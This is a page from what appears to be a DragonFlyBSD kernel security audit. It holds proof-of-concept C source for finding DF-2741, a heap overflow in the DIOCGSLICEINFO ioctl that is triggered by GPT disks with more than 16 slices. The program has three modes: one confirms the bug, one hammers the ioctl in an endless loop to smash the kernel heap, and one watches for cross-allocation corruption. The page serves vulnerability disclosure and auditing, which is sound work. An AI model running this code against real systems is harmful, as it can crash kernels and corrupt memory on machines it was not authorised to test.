DragonFlyBSD Kernel Audit
DF-2741 / poc2741.c
← back to finding ↓ download raw
/*
 * DF-2741 PoC -- DIOCGSLICEINFO heap overflow via GPT dss_nslices.
 *
 * dsioctl (sys/kern/subr_diskslice.c:556-558) bcopy()s
 *     offsetof(struct diskslices, dss_slices[ssp->dss_nslices])
 * bytes into the kernel ioctl buffer, but that buffer is sized
 * IOCPARM_LEN(DIOCGSLICEINFO) == sizeof(struct diskslices), which holds
 * only MAX_SLICES(16) slice records.  gptinit() sets dss_nslices up to
 * BASE_SLICE + MAX_GPT_ENTRIES == 130, so the copy overflows the
 * 4128-byte M_IOCTLOPS allocation by (nslices-16)*sizeof(struct diskslice)
 * ~= 29 KB.
 *
 * Usage:
 *   ./poc2741 <ctldev> <mode>
 *     mode "info"   : one DIOCGSLICEINFO, print dss_nslices + assert mismatch
 *     mode "hammer" : loop DIOCGSLICEINFO forever (heap smash)
 *     mode "cross"  : (run on the CLEAN mbr disk) loop DIOCGSLICEINFO and
 *                     report any non-zero byte beyond slice record 5 -- the
 *                     plain disk only has ~6 slices so the tail must be zero;
 *                     foreign data there proves cross-allocation corruption
 *                     by a concurrent overflow on another disk.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = argv[1];
	const char *mode = argv[2];
	unsigned char buf[sizeof(struct diskslices)];
	struct diskslices *dsp = (struct diskslices *)buf;
	int fd, r, i;
	long iter = 0;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <dev> <info|hammer|cross>\n", argv[0]);
		return 2;
	}
	fd = open(dev, O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }

	if (strcmp(mode, "info") == 0) {
		memset(buf, 0, sizeof(buf));
		r = ioctl(fd, DIOCGSLICEINFO, buf);
		if (r < 0) { perror("DIOCGSLICEINFO"); return 1; }
		printf("DIOCGSLICEINFO ok\n");
		printf("  dss_nslices (runtime)     = %u\n", dsp->dss_nslices);
		printf("  declared type capacity    = %d\n", MAX_SLICES);
		printf("  ioctl buffer size         = %zu\n", sizeof(buf));
		printf("  kernel bcopy length       = %zu\n",
		    offsetof(struct diskslices, dss_slices) +
		    (size_t)dsp->dss_nslices * sizeof(struct diskslice));
		printf("  overflow past buffer      = %zd bytes\n",
		    (ssize_t)(offsetof(struct diskslices, dss_slices) +
		    (size_t)dsp->dss_nslices * sizeof(struct diskslice)) -
		    (ssize_t)sizeof(buf));
		if (dsp->dss_nslices > MAX_SLICES) {
			printf("VULNERABLE: runtime nslices %u > declared %d;"
			    " kernel copied past the 4128-byte ioctl buffer\n",
			    dsp->dss_nslices, MAX_SLICES);
			return 0;
		}
		printf("not vulnerable on this disk\n");
		return 0;
	}
	if (strcmp(mode, "cross") == 0) {
		size_t tail = offsetof(struct diskslices, dss_slices) +
		    6 * sizeof(struct diskslice);
		for (;;) {
			memset(buf, 0, sizeof(buf));
			r = ioctl(fd, DIOCGSLICEINFO, buf);
			if (r < 0) { perror("DIOCGSLICEINFO"); return 1; }
			for (i = (int)tail; i < (int)sizeof(buf); i++) {
				if (buf[i] != 0) {
					printf("CORRUPTION after %ld clean ioctls:"
					    " byte %d (slice rec %d off %d)"
					    " = %02x\n", iter, i,
					    (i - 32) / 256, (i - 32) % 256,
					    buf[i]);
					fflush(stdout);
					/* dump the whole record */
					{
						int rec = (i - 32) / 256;
						unsigned char *p =
						    buf + 32 + rec * 256;
						int j;
						printf("  rec %d dump:", rec);
						for (j = 0; j < 96; j++)
							printf("%c",
							    (p[j] >= 32 &&
							     p[j] < 127) ?
							    p[j] : '.');
						printf("\n");
					}
					fflush(stdout);
					return 0;
				}
			}
			iter++;
			if ((iter % 100000) == 0) {
				printf("... %ld clean\n", iter);
				fflush(stdout);
			}
		}
	}
	/* hammer */
	for (;;) {
		r = ioctl(fd, DIOCGSLICEINFO, buf);
		if (r < 0) { perror("DIOCGSLICEINFO"); return 1; }
		iter++;
		if ((iter % 100000) == 0) {
			printf("... %ld\n", iter);
			fflush(stdout);
		}
	}
}